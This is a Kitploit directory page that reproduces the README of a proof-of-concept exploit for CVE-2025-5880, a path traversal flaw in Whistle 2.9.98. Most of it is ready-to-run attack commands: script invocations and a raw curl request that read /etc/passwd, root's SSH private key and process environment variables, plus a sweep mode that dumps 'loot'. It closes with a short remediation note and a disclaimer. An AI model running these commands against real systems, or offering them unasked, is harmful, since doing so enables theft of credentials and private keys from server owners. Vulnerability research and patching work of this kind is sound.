Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-5880-PoC — Proof-of-concept exploit for an unauthenticated path traversal vulnerability in Whistle v2.9.98. | Kitploit
Tools/GitHubGitHub/yacine-rm/cve-2025-5880-poc
Vulnerability AnalysisExploitationWeb Application ExploitationInformation GatheringPenetration TestingLearning & Education
GitHubyacine-rm/cve-2025-5880-poc

CVE-2025-5880-PoC

Proof-of-concept exploit for an unauthenticated path traversal vulnerability in Whistle v2.9.98.

View Repository
13 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2025-5880 — Whistle 2.9.98 Path Traversal PoC

Python CVE CWE License

Proof-of-concept exploit for an unauthenticated path traversal vulnerability in Whistle v2.9.98.


Vulnerability Summary

FieldDetail
CVE IDCVE-2025-5880
CWECWE-22 (Path Traversal)
Affected SoftwareWhistle ≤ 2.9.98
Affected Endpoint/cgi-bin/sessions/get-temp-file
Attack VectorNetwork — no authentication required
ImpactArbitrary file read on the host filesystem

The filename query parameter is not sanitised before being used to open a file on disk, allowing an attacker to escape the intended temp-file directory and read any file that the Whistle process has permission to access (e.g. /etc/passwd, /root/.ssh/id_rsa).


Quick Start

root@kitploit:~
# Clone
git clone https://github.com/YourHandle/CVE-2025-5880
cd CVE-2025-5880
 
# No external dependencies
python3 CVE-2025-5880.py -u http://TARGET:8899 --preset passwd

Usage

root@kitploit:~
python3 CVE-2025-5880.py [-h] -u URL [-f FILE] [--preset PRESET]
                          [--sweep] [-o OUTPUT] [--save-dir DIR]
                          [--timeout N]

Examples

root@kitploit:~
# Read /etc/passwd
python3 CVE-2025-5880.py -u http://192.168.1.10:8899 --preset passwd
 
# Grab root's SSH private key
python3 CVE-2025-5880.py -u http://192.168.1.10:8899 --preset id_rsa -o id_rsa.pem
 
# Read an arbitrary path
python3 CVE-2025-5880.py -u http://192.168.1.10:8899 -f /proc/self/environ
 
# Sweep & save all presets
python3 CVE-2025-5880.py -u http://192.168.1.10:8899 --sweep --save-dir ./loot

Raw PoC (curl)

root@kitploit:~
# /etc/passwd
curl -s "http://TARGET:8899/cgi-bin/sessions/get-temp-file?filename=/etc/passwd" | jq -r '.value'

Remediation

Update Whistle to a version that validates and restricts the filename parameter to the intended temp-file directory. Apply allowlist path normalisation (e.g. path.resolve + prefix check) server-side.


Disclaimer

This tool is provided for authorized security testing and educational purposes only.
Unauthorized use against systems you do not own or have explicit permission to test is illegal and unethical.
The author assumes no liability for misuse.

Download Tool
FlagDescription
-u / --urlBase URL of the target (e.g. http://192.168.1.10:8899)
-f / --fileArbitrary file path to read
--presetNamed shortcut: passwd shadow hosts id_rsa …
--sweepIterate all presets automatically
-o / --outputSave result to a file
--save-dirDirectory to dump loot from --sweep
--timeoutHTTP timeout in seconds (default 10)